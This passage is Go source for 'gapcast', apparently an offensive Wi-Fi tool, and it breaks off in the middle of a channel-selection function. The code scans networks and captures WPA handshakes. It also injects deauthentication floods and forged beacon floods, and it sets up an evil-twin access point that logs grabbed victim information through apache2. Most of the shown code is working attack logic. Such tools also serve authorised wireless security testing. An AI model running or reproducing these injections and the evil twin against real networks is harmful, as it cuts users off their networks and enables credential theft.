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gapcast.go
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gapcast.go
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package main
import (
"flag"
"fmt"
"gapcast/libs"
"gapcast/libs/injpacket"
"gapcast/libs/jsonreader"
"github.com/eiannone/keyboard"
colo "github.com/fatih/color"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/google/gopacket/pcapgo"
"github.com/rodaine/table"
"golang.design/x/hotkey"
"golang.org/x/exp/maps"
"math"
"os"
"os/exec"
"runtime"
"slices"
"sort"
"strconv"
"strings"
"sync"
"text/tabwriter"
"time"
)
const (
fps int = 25
)
var (
apache2logFile string
apnameiface string
auth string
chTable string
cipher string
dstTable string
enc string
esdTable string
infograbfile string
macFilter string
nameiface string
srcTable string
pwrdbmDevice float64
rxdbiAnt float64
txdbiAnt float64
errTable int
globalChannel int
tableScene int
capturedEapol []string
macdb []jsonreader.Macdb
seqdatalist []libs.InjectData
color libs.Colors
apache2Conf jsonreader.Apache2Conf
radarconf jsonreader.RadarConf
chartBSSID table.Table
chartCLIENT table.Table
handle *pcap.Handle
pcapWriter *pcapgo.Writer
analysisData *libs.Alldata = new(libs.Alldata)
pcapFile *os.File
regDKey *hotkey.Hotkey
chanstage chan bool = make(chan bool)
exitChannel chan bool = make(chan bool)
mt chan bool = make(chan bool)
mtLoading chan bool = make(chan bool)
inactiveClient map[string]libs.DeviceClient = make(map[string]libs.DeviceClient)
inactiveDevice map[string]libs.Device = make(map[string]libs.Device)
mutex sync.RWMutex = sync.RWMutex{}
elapsedTime time.Time
ETLogRead bool
G5 bool
alreadyDKeyReg bool
disableInactiver bool
enabledWriter bool
eviltwinAcc bool
eviltwinMode bool
eviltwinQuit bool
injblock bool
injection bool
oldmoment bool = true
onlyBeacon bool
openTable bool
panicExit bool
paused bool
pddPresent bool
rdaPresent bool
rssiRadar bool
sngtrgLoading bool
singleChannel bool
tdaPresent bool
writing bool
tableinj libs.INJTable
)
// Collect all flags
func collect() (prefix string, channelList []int, pcapWriteFile string, fileLoader string, scanAfterLoad bool, scBSSID string) {
var ch *string = flag.String("c", "-1", "")
var load *string = flag.String("l", "?", "")
var bssid *string = flag.String("b", "?", "")
var prfix *string = flag.String("p", "?", "")
var write *string = flag.String("w", "?", "")
var g5 *bool = flag.Bool("5g", false, "")
var g5g24 *bool = flag.Bool("2.4+5g", false, "")
var dinac *bool = flag.Bool("d", false, "")
var radar *bool = flag.Bool("radar", false, "")
var beacon *bool = flag.Bool("beacon", false, "")
var txdbi *string = flag.String("dbi-tx", "?", "")
var rxdbi *string = flag.String("dbi-rx", "?", "")
var pwrdbm *string = flag.String("dbm", "?", "")
var iface *string = flag.String("i", "?", "")
var showiface *bool = flag.Bool("show-i", false, "")
var nmrestart *bool = flag.Bool("nm-restart", false, "")
var sc *string = flag.String("sc", "?", "")
var encr *string = flag.String("enc", "?", "") // OPEN, WPE, WPA, WPA2, WPA3
var cip *string = flag.String("cipher", "?", "") // WEP, TKIP, WRAP, CCMP, WEP104
var aut *string = flag.String("auth", "?", "") // MGT, PSK
flag.Usage = func() { libs.PrintUsage(); os.Exit(1) }
flag.Parse()
if libs.RootCheck() {
if *iface != "?" {
var ifaceFound bool
for _, ifaceS := range libs.ShowIfaces() {
if ifaceS.Name == *iface {
ifaceFound = true
break
}
}
if !ifaceFound {
fmt.Println("\nBad interface, if you want to see the available interfaces add -show-i parameter.")
}
}
switch true {
case *showiface:
var writer *tabwriter.Writer = tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0)
var isPresent bool = false
fmt.Fprintln(writer, "Interface\tHW-ADDR\tMode\tChannel\tTXpower\tDriver\tChipset")
for _, ifaceS := range libs.ShowIfaces() {
if ifaceinfo, err := libs.GetIfaceInfo(ifaceS.Name); !err {
fmt.Fprintf(writer, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", ifaceS.Name, ifaceS.Mac, ifaceinfo[0], ifaceinfo[1], ifaceinfo[2], ifaceinfo[3], ifaceinfo[4])
isPresent = true
}
}
if isPresent {
writer.Flush()
os.Exit(0)
} else {
fmt.Println("No valid interface found.")
os.Exit(1)
}
case *nmrestart:
libs.Rtexec(exec.Command("bash", "-c", "killall dnsmasq hostapd"))
if _, err := libs.Rtexec(exec.Command("bash", "-c", "iptables --flush && iptables -t nat --flush && service networking restart && service NetworkManager restart && service apache2 stop")); err {
fmt.Println("Unable to restart Network Manager.")
os.Exit(1)
}
fmt.Println("Network Manager restarted successful.")
os.Exit(0)
}
} else {
fmt.Println("Unrooted.")
os.Exit(1)
}
if *sc != "?" {
if !libs.IsValidMAC(*sc) {
fmt.Printf("Mac address %s is invalid (-sc).\n\n", *sc)
flag.Usage()
}
}
if *iface == "?" && *load == "?" {
fmt.Print("Select an interface. If you want to see the available interfaces add -show-i parameter.\n\n")
flag.Usage()
}
if *g5 && *g5g24 {
fmt.Print("You can't add both -5g and -2.4+5g, you have to select only one.\n\n")
flag.Usage()
}
if *encr != "?" && !strings.Contains("OPEN WPE WPA WPA2 WPA3", strings.ToUpper(*encr)) {
fmt.Printf("%s is invalid parameter for enc, available: 'OPEN', 'WPE', 'WPA', 'WPA2'.\n\n", strings.ToUpper(*encr))
flag.Usage()
}
if *cip != "?" && !strings.Contains("WEP TKIP WRAP CCMP WEP104 CMAC GCMP GCMP256 CCMP256 GMAC GMAC256 CMAC256", strings.ToUpper(*cip)) {
fmt.Printf("%s is invalid parameter for cipher (-cipher), available: 'WEP', 'TKIP', 'WRAP', 'CCMP', 'WEP104'.\n\n", strings.ToUpper(*cip))
flag.Usage()
}
if *aut != "?" && !strings.Contains("MGT PSK FT/MGT256 FT/PSK MGT256 PSK256 TDLS SAE FT/SAE APPeerKey MGT-B MGT-CNSA FT/MGT-384 FILS/MGT FILS/MGT-384 FT/FILS-256 FT/FILS-384 FT/PSK-384 PSK-384", strings.ToUpper(*aut)) {
fmt.Printf("%s is invalid parameter for auth (-auth), available: 'MGT', 'PSK'.\n\n", strings.ToUpper(*aut))
flag.Usage()
}
var lencount int = 0
for idx, stringFlag := range []string{*ch, *bssid, *write, *iface, *prfix, *load, *sc, *txdbi, *rxdbi, *pwrdbm, *encr, *cip, *aut} {
if (stringFlag != "?" && idx != 0) || (stringFlag != "-1" && idx == 0) {
lencount += 2
}
}
for _, boolFlag := range []bool{*g5, *g5g24, *dinac, *radar, *beacon} {
if boolFlag {
lencount++
}
}
if len(os.Args)-1 > lencount {
flag.Usage()
}
if *prfix != "?" && *bssid != "?" {
fmt.Print("You can't add both -p and -b, -p don't work if BSSID is specified.\n\n")
flag.Usage()
}
var errc error
if *txdbi != "?" {
if txdbiAnt, errc = strconv.ParseFloat(*txdbi, 64); errc != nil {
fmt.Println("TX dBi " + *txdbi + " is not int or float.\n")
flag.Usage()
}
tdaPresent = true
}
if *rxdbi != "?" {
if rxdbiAnt, errc = strconv.ParseFloat(*rxdbi, 64); errc != nil {
fmt.Println("RX dBi " + *rxdbi + " is not int or float.\n")
flag.Usage()
}
rdaPresent = true
}
if *pwrdbm != "?" {
if pwrdbmDevice, errc = strconv.ParseFloat(*pwrdbm, 64); errc != nil {
fmt.Println("TX Power " + *pwrdbm + " is not int or float.\n")
flag.Usage()
}
pddPresent = true
}
channelList, msgerror := libs.ParseChannels(*ch, *g5, *g5g24)
if msgerror != "" {
fmt.Printf("%s\n\n", msgerror)
flag.Usage()
}
if !(channelList[0] != -1 && len(channelList) > 1) {
singleChannel = true
}
if *bssid != "?" {
if !libs.IsValidMAC(*bssid) {
fmt.Printf("Mac address %s is invalid.\n\n", *bssid)
flag.Usage()
}
if len(channelList) == 0 || len(channelList) > 1 {
fmt.Print("Only one channel is needed if you use -b parameter.\n\n")
flag.Usage()
}
} else {
*bssid = ""
}
if *load != "?" {
if lencount >= 4 && *iface != "?" {
scanAfterLoad = true
} else if lencount > 2 {
fmt.Println(lencount)
fmt.Print("If you have added the load parameter you cannot add other parameters if you don't specified the interface.\n\n")
flag.Usage()
}
}
macFilter = strings.ToLower(*bssid)
G5 = *g5
rssiRadar = *radar
nameiface = *iface
disableInactiver = *dinac
enc, cipher, auth = strings.ToUpper(*encr), strings.ToUpper(*cip), strings.ToUpper(*aut)
return strings.ToLower(*prfix), channelList, *write, *load, scanAfterLoad, *sc
}
// Exit safely from gapcast
func signalExit() {
if ETLogRead {
for !eviltwinQuit {
time.Sleep(1 * time.Second)
}
}
if enabledWriter {
defer pcapFile.Close()
}
defer os.Exit(0)
if oldmoment {
mt <- true
}
if sngtrgLoading {
chanstage <- true
}
time.Sleep(200 * time.Millisecond)
fmt.Println()
go libs.Loading(fmt.Sprintf("%s[%sEXIT%s] Setting up managed mode", color.White, color.Blue, color.White), mtLoading)
if eviltwinMode && apnameiface != nameiface {
libs.SetManagedMode(apnameiface)
}
libs.SetManagedMode(nameiface)
time.Sleep(1200 * time.Millisecond)
mtLoading <- true
time.Sleep(800 * time.Millisecond)
for writing {
time.Sleep(100 * time.Millisecond)
}
}
// Start recorder for CTRL-C -> exit
func startSignal() {
var regKey *hotkey.Hotkey = hotkey.New([]hotkey.Modifier{hotkey.ModCtrl}, hotkey.KeyC)
regKey.Register()
defer regKey.Unregister()
for {
<-regKey.Keydown()
<-regKey.Keyup()
injection, openTable = false, false
time.Sleep(100 * time.Millisecond)
panicExit = true
keyboard.Close()
if eviltwinMode {
libs.Rtexec(exec.Command("bash", "-c", "killall dnsmasq hostapd & iptables --flush & iptables -t nat --flush & service apache2 stop"))
fmt.Print(color.White + "Done\n")
}
for eviltwinAcc {
time.Sleep(1 * time.Second)
if eviltwinQuit {
break
}
}
time.Sleep(600 * time.Millisecond)
signalExit()
}
}
// Setup analyzer table chart
func setupChart() {
if rssiRadar {
chartBSSID = table.New("BSSID", "ENC", "PWR", "BEACONS", "DATA", "CH", "ESSID", "MANUFACTURER", "RAY")
} else {
chartBSSID = table.New("BSSID", "ENC", "PWR", "BEACONS", "DATA", "CH", "ESSID", "MANUFACTURER")
}
chartBSSID.WithHeaderFormatter(colo.New(colo.BgHiBlue, colo.FgHiWhite).SprintfFunc())
if rssiRadar {
chartCLIENT = table.New("STATION", "BSSID", "PWR", "DATA", "ESSID", "MANUFACTURER", "RAY")
} else {
chartCLIENT = table.New("STATION", "BSSID", "PWR", "DATA", "ESSID", "MANUFACTURER")
}
chartCLIENT.WithHeaderFormatter(colo.New(colo.BgHiCyan, colo.FgHiWhite).SprintfFunc())
analysisData.DeviceData = make(map[string]libs.Device)
analysisData.ClientData = make(map[string]libs.DeviceClient)
}
// Preliminaries (interface management, checks, config reader...)
func setup(file string, load bool, pcapfile string) {
go startSignal()
if libs.WriterCheck(file) {
enabledWriter = true
pcapFile, err := os.Create(file)
if err != nil {
pcapFile.Close()
fmt.Print("Invalid directory or file.\n\n")
os.Exit(1)
}
pcapWriter = pcapgo.NewWriter(pcapFile)
pcapWriter.WriteFileHeader(65536, layers.LinkTypeIEEE80211Radio)
}
libs.ScreenClear()
color = libs.SetupColors()
libs.PrintLogo(color, "Initializing...")
libs.Rtexec(exec.Command("airmon-ng", "check", "kill"))
for _, service := range []string{"apache2", "dnsmasq"} {
if !libs.SoftwareServiceCheck(service) {
libs.SignalError(color, fmt.Sprintf("%s isn't installed.", service))
}
}
for _, software := range []string{"airmon-ng", "iptables", "hostapd", "php"} {
if !libs.SoftwareCheck(software) {
libs.SignalError(color, fmt.Sprintf("%s isn't installed.", software))
}
}
if !libs.AlreadyMon(nameiface) {
if !libs.MonSupportCheck(nameiface) {
libs.SignalError(color, "Bad interface or no administrator.")
}
go libs.Loading(fmt.Sprintf("%s[%sINIT%s] Setting up monitor mode", color.White, color.Green, color.White), mt)
if err := libs.SetMonitorMode(nameiface); err {
mt <- true
time.Sleep(400 * time.Millisecond)
fmt.Println()
libs.SignalError(color, "Bad interface or no administrator.")
}
time.Sleep(2 * time.Second)
mt <- true
mt = make(chan bool)
} else {
libs.NOTIMECustomLog(color, color.Green, "INIT", "Skipped (Monitor mode already enabled)")
time.Sleep(1200 * time.Millisecond)
}
if G5 && !libs.G5Check(nameiface) {
fmt.Println()
libs.Error(color, fmt.Sprintf("%s does not support 5 Ghz.", nameiface))
time.Sleep(600 * time.Millisecond)
signalExit()
}
go libs.Loading(fmt.Sprintf("%s[%sINIT%s] Loading resources", color.White, color.Green, color.White), mt)
var warning1, warning2, warning3 bool
macdb, warning1 = jsonreader.ReadMacdb()
apache2Conf, warning2 = jsonreader.ReadApache2Conf()
infograbfile, apache2logFile = apache2Conf.InfoGrabbed, apache2Conf.LOGFile
radarconf, warning3 = jsonreader.ReadRadarConf()
setupChart()
time.Sleep(1500 * time.Millisecond)
mt <- true
if rssiRadar {
if tdaPresent && rdaPresent && pddPresent {
radarconf = jsonreader.RadarConf{TXAntennaDBI: txdbiAnt, RXAntennaDBI: rxdbiAnt, TXPowerDBM: pwrdbmDevice}
} else {
for radaridx, isPresent := range []bool{tdaPresent, rdaPresent, pddPresent} {
if isPresent {
switch radaridx {
case 1:
radarconf.TXAntennaDBI = txdbiAnt
case 2:
radarconf.RXAntennaDBI = rxdbiAnt
case 3:
radarconf.TXPowerDBM = pwrdbmDevice
}
}
}
}
}
for warnidx, warn := range []bool{warning1, warning2, warning3} {
if warn {
switch warnidx {
case 0:
libs.Warning(color, "Failure to read the manufacturer db.")
case 1:
infograbfile = "/var/www/html/infograbbed.txt" // default
apache2logFile = "/var/log/apache2/access.log" // default
libs.Warning(color, "Failure to read the apache2 config, set default (access.log file).")
case 2:
libs.Warning(color, "Failure to read RadioRSSI config, set default.")
}
time.Sleep(1200 * time.Millisecond)
}
}
if load {
mt = make(chan bool)
go libs.Loading(fmt.Sprintf("%s[%sINIT%s] Loading pcap file", color.White, color.Green, color.White), mt)
handle, err := pcap.OpenOffline(pcapfile)
time.Sleep(1500 * time.Millisecond)
if err != nil {
mt <- true
libs.Error(color, "No valid resources loaded.")
time.Sleep(1200 * time.Millisecond)
} else {
defer handle.Close()
handlePacket(handle, libs.G5g24Channels[:], "?", false, true)
mt <- true
if len(analysisData.DeviceData) <= 0 {
libs.Error(color, "No valid resources loaded.")
time.Sleep(1200 * time.Millisecond)
}
}
}
oldmoment = false
time.Sleep(1 * time.Second)
}
// Change interface channel automatically
func channelChanger(channelList []int) {
var changeCh func([]int, string) = func(channelList []int, nameiface string) {
if singleChannel {
libs.ChangeChannel(nameiface, channelList[0])
globalChannel = channelList[0]
time.Sleep(180 * time.Millisecond)
} else {
for {
for _, ch := range channelList {
select {
case <-exitChannel:
return
default:
for paused || injblock {
time.Sleep(100 * time.Millisecond)
}
libs.ChangeChannel(nameiface, ch)
mutex.Lock()
globalChannel = ch
mutex.Unlock()
time.Sleep(180 * time.Millisecond)
}
}
}
}
}
if singleChannel {
changeCh(channelList, nameiface)
} else {
go changeCh(channelList, nameiface)
}
}
// Update analyzer table
func update() {
if elapsedTime == (time.Time{}) {
elapsedTime = time.Now()
}
for {
time.Sleep(time.Duration(1000/fps) * time.Millisecond)
if panicExit {
exitChannel <- true
for {
time.Sleep(2 * time.Second)
}
}
printChart(false)
}
}
// Detect EAPOL Key and rec it (optional: write on pcap file)
func recEapol(packet gopacket.Packet) {
ap, sta := libs.GetEAPOL_APSTA(packet)
if libs.IsValidMAC(ap) && libs.IsValidMAC(sta) && !slices.Contains(capturedEapol, fmt.Sprintf("%s<-%s", ap, sta)) {
capturedEapol = append(capturedEapol, fmt.Sprintf("%s<-%s", ap, sta))
}
if packet.Layer(layers.LayerTypeEAPOLKey) != nil {
mutex.Lock()
writeToPcap(packet)
mutex.Unlock()
}
}
// Write packet on pcap file
func writeToPcap(packet gopacket.Packet) {
if enabledWriter && !panicExit {
writing = true
pcapWriter.WritePacket(gopacket.CaptureInfo{
Timestamp: time.Now(),
Length: len(packet.Data()),
CaptureLength: len(packet.Data()),
}, packet.Data())
writing = false
}
}
// Analyze packet and extract info
func handlePacket(handle *pcap.Handle, chans []int, prefix string, filter bool, offload bool) {
var packets *gopacket.PacketSource = gopacket.NewPacketSource(handle, handle.LinkType())
defer handle.Close()
var firstMP, lastMP time.Time
if offload {
defer func() { elapsedTime = time.Now().Add(-lastMP.Sub(firstMP)) }()
}
for pkt := range packets.Packets() {
if paused || panicExit {
return
}
if offload {
lastMP = pkt.Metadata().Timestamp
if firstMP.IsZero() {
firstMP = pkt.Metadata().Timestamp
}
}
if pkt.ErrorLayer() == nil && pkt != nil && pkt.Layer(layers.LayerTypeDot11) != nil {
if singleChannel {
go recEapol(pkt)
}
go func(packet gopacket.Packet) {
if PWR, err := libs.GetDBM(packet); !err {
if libs.IsBeacon(packet) {
if SRC, err1 := libs.GetSRCBeacon(packet); !err1 && (!filter || ((macFilter == "" || strings.EqualFold(macFilter, SRC)) && (prefix == "?" || strings.HasPrefix(strings.ToLower(SRC), strings.ToLower(prefix))))) {
var ENC string = libs.GetENCSuite(packet)
if filter && ((enc != "?" && !strings.Contains(ENC, enc)) || (cipher != "?" && !strings.Contains(ENC, cipher)) || (auth != "?" && !strings.Contains(ENC, auth))) {
return
}
var Channel int = libs.GetAPChannel(packet)
if Channel > 0 && slices.Contains(chans, Channel) && (!filter || !singleChannel || Channel == globalChannel) {
var oldBeacon, oldData int = 0, 0
var ESSID, MANUFTR string = libs.GetESSID(packet), ""
mutex.Lock()
if _, exist3 := analysisData.DeviceData[SRC]; exist3 {
oldBeacon = analysisData.DeviceData[SRC].Beacons
oldData = analysisData.DeviceData[SRC].Data
if ESSID == "<unavailable>" && analysisData.DeviceData[SRC].Essid != ESSID {
ESSID = analysisData.DeviceData[SRC].Essid
}
MANUFTR = analysisData.DeviceData[SRC].Manufacturer
} else {
MANUFTR = libs.GetManufacturer(macdb, SRC)
}
if _, exist4 := inactiveDevice[SRC]; exist4 {
analysisData.DeviceData[SRC] = libs.Device{Essid: inactiveDevice[SRC].Essid, Power: inactiveDevice[SRC].Power, Beacons: inactiveDevice[SRC].Beacons + 1, Data: inactiveDevice[SRC].Data, Ch: inactiveDevice[SRC].Ch, Enc: inactiveDevice[SRC].Enc, Manufacturer: inactiveDevice[SRC].Manufacturer, LastUpdate: time.Now()}
delete(inactiveDevice, SRC)
} else {
analysisData.DeviceData[SRC] = libs.Device{Essid: ESSID, Power: int(PWR), Beacons: oldBeacon + 1, Data: oldData, Ch: Channel, Enc: ENC, Manufacturer: MANUFTR, LastUpdate: time.Now()}
}
writeToPcap(packet)
mutex.Unlock()
}
}
} else if BSSID_CLIENT, MAC, err := libs.GetAPSTAData(packet); libs.IsData(packet) && !err {
if filter && (strings.EqualFold(BSSID_CLIENT, MAC) || strings.EqualFold(MAC, "ff:ff:ff:ff:ff:ff") || (macFilter != "" && !strings.EqualFold(macFilter, BSSID_CLIENT))) {
return
}
mutex.Lock()
if _, exist1 := analysisData.DeviceData[BSSID_CLIENT]; exist1 {
analysisData.DeviceData[BSSID_CLIENT] = libs.Device{Essid: analysisData.DeviceData[BSSID_CLIENT].Essid, Power: analysisData.DeviceData[BSSID_CLIENT].Power, Beacons: analysisData.DeviceData[BSSID_CLIENT].Beacons, Data: analysisData.DeviceData[BSSID_CLIENT].Data + 1, Manufacturer: analysisData.DeviceData[BSSID_CLIENT].Manufacturer, Ch: analysisData.DeviceData[BSSID_CLIENT].Ch, Enc: analysisData.DeviceData[BSSID_CLIENT].Enc, LastUpdate: time.Now()}
if _, exist2 := inactiveClient[MAC]; exist2 {
analysisData.ClientData[MAC] = libs.DeviceClient{Bssid: inactiveClient[MAC].Bssid, Essid: inactiveClient[MAC].Essid, Manufacturer: inactiveClient[MAC].Manufacturer, Data: inactiveClient[MAC].Data + 1, Power: int(PWR), LastUpdate: time.Now()}
delete(inactiveClient, MAC)
} else if _, exist3 := analysisData.ClientData[MAC]; exist3 {
analysisData.ClientData[MAC] = libs.DeviceClient{Bssid: analysisData.ClientData[MAC].Bssid, Essid: analysisData.ClientData[MAC].Essid, Data: analysisData.ClientData[MAC].Data + 1, Manufacturer: analysisData.ClientData[MAC].Manufacturer, Power: int(PWR), LastUpdate: time.Now()}
} else {
analysisData.ClientData[MAC] = libs.DeviceClient{Bssid: BSSID_CLIENT, Essid: analysisData.DeviceData[BSSID_CLIENT].Essid, Data: 1, Power: int(PWR), Manufacturer: libs.GetManufacturer(macdb, MAC), LastUpdate: time.Now()}
}
}
writeToPcap(packet)
mutex.Unlock()
} else {
if packet.Layer(layers.LayerTypeLLC) == nil {
mutex.Lock()
writeToPcap(packet)
mutex.Unlock()
}
}
}
}(pkt)
}
}
}
// Reset view of inactive device on analyzer table (restoring of all info)
func resetPreActive() {
mutex.Lock()
for mac := range analysisData.ClientData {
analysisData.ClientData[mac] = libs.DeviceClient{Power: analysisData.ClientData[mac].Power, Bssid: analysisData.ClientData[mac].Bssid, Essid: analysisData.ClientData[mac].Essid, Data: analysisData.ClientData[mac].Data, Manufacturer: analysisData.ClientData[mac].Manufacturer, LastUpdate: time.Now()}
}
for bssid := range analysisData.DeviceData {
analysisData.DeviceData[bssid] = libs.Device{Essid: analysisData.DeviceData[bssid].Essid, Power: analysisData.DeviceData[bssid].Power, Beacons: analysisData.DeviceData[bssid].Beacons, Data: analysisData.DeviceData[bssid].Data, Ch: analysisData.DeviceData[bssid].Ch, Enc: analysisData.DeviceData[bssid].Enc, Manufacturer: analysisData.DeviceData[bssid].Manufacturer, LastUpdate: time.Now()}
}
mutex.Unlock()
}
// Move active device to inactive device (when gapcast does not found more info of it from 30s)
func moveActiveToInactive() {
for {
time.Sleep(100 * time.Millisecond)
if paused || panicExit {
return
}
if injblock {
for {
time.Sleep(100 * time.Millisecond)
if !injblock {
resetPreActive()
break
}
}
}
mutex.Lock()
for mac, devices := range analysisData.ClientData {
if time.Since(devices.LastUpdate).Seconds() > 30 {
delete(analysisData.ClientData, mac)
inactiveClient[mac] = devices
}
}
for bssid, devices := range analysisData.DeviceData {
if time.Since(devices.LastUpdate).Seconds() > 30 {
delete(analysisData.DeviceData, bssid)
inactiveDevice[bssid] = devices
}
}
mutex.Unlock()
}
}
// Get AP channel from analysis data
func getChFromSaved(mac string) int {
mac = strings.ToUpper(libs.Fmac(mac))
if data, exist := analysisData.DeviceData[mac]; exist {
return data.Ch
} else if data, exist := inactiveDevice[mac]; exist {
return data.Ch
}
return -1
}
// Sort AP's MAC Addresses from associated channel
func sortForChannel(macs []string) []string {
for i := 0; i < len(macs)-1; i++ {
for j := 0; j < len(macs)-i-1; j++ {
if getChFromSaved(macs[j]) > getChFromSaved(macs[j+1]) {
macs[j], macs[j+1] = macs[j+1], macs[j]
}
}
}
return macs
}
// Get all STAs from BSSIDs
func getStationsFromBSSIDs(BSSIDs []string) []string {
var stations []string
if len(BSSIDs) < 1 {
return stations
}
for staaddr, station := range analysisData.ClientData {
if strings.EqualFold(libs.Fmac(BSSIDs[0]), station.Bssid) {
stations = append(stations, staaddr)
}
}
return stations
}
// With INJ info & selection inject independetly packets
func inject(nameiface string) {
var injtype, injessid string = tableinj.INJ, tableinj.ESSID
var sMac, sdtype, injsrc, injdst string
var mMac []string
var prevch int
mutex.Lock()
var injch int = tableinj.CHANNEL
if len(tableinj.SRC) >= len(tableinj.DST) {
if injtype == "De-Auth" {
mMac = sortForChannel(tableinj.SRC)
} else {
mMac = tableinj.SRC
}
sMac, sdtype = tableinj.DST[0], "src"
} else {
if injtype == "De-Auth" {
mMac = sortForChannel(tableinj.DST)
} else {
mMac = tableinj.DST
}
sMac, sdtype = tableinj.SRC[0], "dst"
}
injblock = true
mutex.Unlock()
defer func() { injblock = false }()
if len(mMac) > 2 {
go func() {
for {
for _, m := range mMac {
mutex.Lock()
seqdatalist[len(seqdatalist)-1].Target = injdst
mutex.Unlock()
time.Sleep(500 * time.Millisecond)
if sdtype == "src" {
injdst = sMac
} else {
injdst = m
}
}
if !injection {
return
}
for paused {
time.Sleep(100 * time.Millisecond)
}
}
}()
}
for {
if injtype == "Beacon" {
var waitTime time.Duration = time.Duration(102.4 * float64(time.Millisecond))
for seq := 0; seq < 64; seq++ {
seqdatalist = append(seqdatalist, libs.InjectData{Of1: 0, Of2: len(mMac), Target: sMac, Failed: false, Seq: "no-value"})
if len(seqdatalist) == 1 {
mutex.Lock()
tableScene = 8
mutex.Unlock()
}
for _, injsrc := range mMac {
prevch = globalChannel
globalChannel = injch
if ptempl := injpacket.Beacon(injessid, injsrc, injch, seq); injpacket.InjectPacket(handle, nameiface, injch, prevch, ptempl) {
seqdatalist[len(seqdatalist)-1].Of1++
} else {
seqdatalist[len(seqdatalist)-1].Failed = true
}
time.Sleep(waitTime)
if !injection {
return
}
for paused {
time.Sleep(1 * time.Second)
}
}
}
} else if injtype == "De-Auth" {
seqdatalist = append(seqdatalist, libs.InjectData{Of1: 0, Of2: len(mMac), Target: injdst, Failed: false, Seq: "0"})
if len(seqdatalist) == 1 {
mutex.Lock()
tableScene = 8
mutex.Unlock()
}
for _, m := range mMac {
if sdtype == "src" {
injsrc = m
injdst = sMac
} else {
injsrc = sMac
injdst = m
}
mutex.Lock()
injch = getChFromSaved(injsrc)
mutex.Unlock()
prevch = globalChannel
globalChannel = injch
if len(mMac) < 3 {
seqdatalist[len(seqdatalist)-1].Target = injdst
}
var seqSize int
if libs.Fmac(injdst) == "FF:FF:FF:FF:FF:FF" {
seqSize = 128
} else {
seqSize = 64
}
for seq := 0; seq < seqSize; seq++ {
seqdatalist[len(seqdatalist)-1].Seq = libs.GetCapsFormat(strconv.Itoa(seq+1), 3, "0")
if ptempl := injpacket.Deauth(injsrc, injdst, seq); !injpacket.InjectPacket(handle, nameiface, injch, prevch, ptempl) {
seqdatalist[len(seqdatalist)-1].Failed = true
}
time.Sleep(2 * time.Millisecond)
if !injection {
return
}
for paused {
time.Sleep(1 * time.Second)
}
}
seqdatalist[len(seqdatalist)-1].Of1++
}
time.Sleep(180 * time.Millisecond)
}
}
}
// Start recording of CTRL-D for starting injection
func regD(nameiface string) {
if !alreadyDKeyReg {
regDKey = hotkey.New([]hotkey.Modifier{hotkey.ModCtrl}, hotkey.KeyD)
alreadyDKeyReg = true
regDKey.Register()
}
for {
time.Sleep(100 * time.Millisecond)
select {
case <-regDKey.Keydown():
<-regDKey.Keyup()
mutex.Lock()
if injection {
injection = false
tableScene = 7
} else {
seqdatalist = []libs.InjectData{}
injection = true
go inject(nameiface)
}
mutex.Unlock()
default:
mutex.Lock()
if !openTable {
injection = false
mutex.Unlock()
return
}
mutex.Unlock()
}
}
}
// Selection of INJ attack from INJ Table
func regXINJ(nameiface string, ChannelList []int) {
event, _ := keyboard.GetKeys(10)
for {
eventdata := <-event
mutex.Lock()
if eventdata.Key == keyboard.KeyEsc {
openTable = false
keyboard.Close()
mutex.Unlock()
return
}
switch eventdata.Rune {
case '1':
tableinj = libs.INJTable{INJ: "De-Auth"}
tableScene = 1
keyboard.Close()
go reg1234(nameiface, ChannelList)
mutex.Unlock()
return
case '2':
tableinj = libs.INJTable{INJ: "Beacon", DST: []string{"ffffffffffff"}}
tableScene = 1
keyboard.Close()
go reg1234(nameiface, ChannelList)
mutex.Unlock()
return
case '3':
if chfromsaved := getChFromSaved(macFilter); macFilter != "" && chfromsaved != -1 {
tableinj = libs.INJTable{INJ: "Evil-Twin", DST: []string{"ffffffffffff"}, SRC: []string{strings.ToLower(strings.ReplaceAll(macFilter, ":", ""))}}
tableinj.ESSID = analysisData.DeviceData[libs.Fmac(macFilter)].Essid
tableinj.CHANNEL = chfromsaved
tableScene, openTable = 0, false
keyboard.Close()
panicExit = true
mutex.Unlock()
time.Sleep(150 * time.Millisecond)
runEvilTwin(nameiface)
return
}
tableinj = libs.INJTable{INJ: "Evil-Twin", DST: []string{"ffffffffffff"}}
tableScene = 2
keyboard.Close()
go regWM("src", nameiface, ChannelList)
mutex.Unlock()
return
}
mutex.Unlock()
}
}
// Selection of ESSID from INJ Table
func regESSID(nameiface string) {
event, _ := keyboard.GetKeys(10)
for {
eventdata := <-event
mutex.Lock()
if eventdata.Key == keyboard.KeyEsc {
openTable = false
keyboard.Close()
mutex.Unlock()
return
}
if (eventdata.Key == keyboard.KeyBackspace || eventdata.Key == keyboard.KeyBackspace2) && len(esdTable) > 0 {
esdTable = esdTable[:len(esdTable)-1]
mutex.Unlock()
continue
}
if eventdata.Key == keyboard.KeyEnter {
if libs.IsValidESSID(esdTable) {
tableinj.ESSID = esdTable
tableScene, esdTable = 7, ""
keyboard.Close()
go regD(nameiface)
} else {
var oldScene int = tableScene
errTable, tableScene = 1, 9
mutex.Unlock()
time.Sleep(3 * time.Second)
mutex.Lock()
tableScene, esdTable = oldScene, ""
keyboard.Close()
go regESSID(nameiface)
}
mutex.Unlock()
return
}
if len(esdTable) < 32 {
if eventdata.Rune == 0 {
esdTable += " "
} else {
esdTable += fmt.Sprintf("%c", eventdata.Rune)
}
}
mutex.Unlock()
}
}
// Selection of channel from INJ Table
func regCh(nameiface string, ChannelList []int) {
event, _ := keyboard.GetKeys(10)
for {
eventdata := <-event
mutex.Lock()
if eventdata.Key == keyboard.KeyEsc {
openTable = false
keyboard.Close()
mutex.Unlock()
return
}
if (eventdata.Key == keyboard.KeyBackspace || eventdata.Key == keyboard.KeyBackspace2) && len(chTable) > 0 {
chTable = chTable[:len(chTable)-1]
}
if eventdata.Key == keyboard.KeyEnter {
ch, _ := strconv.Atoi(chTable)
if slices.Contains(ChannelList, ch) {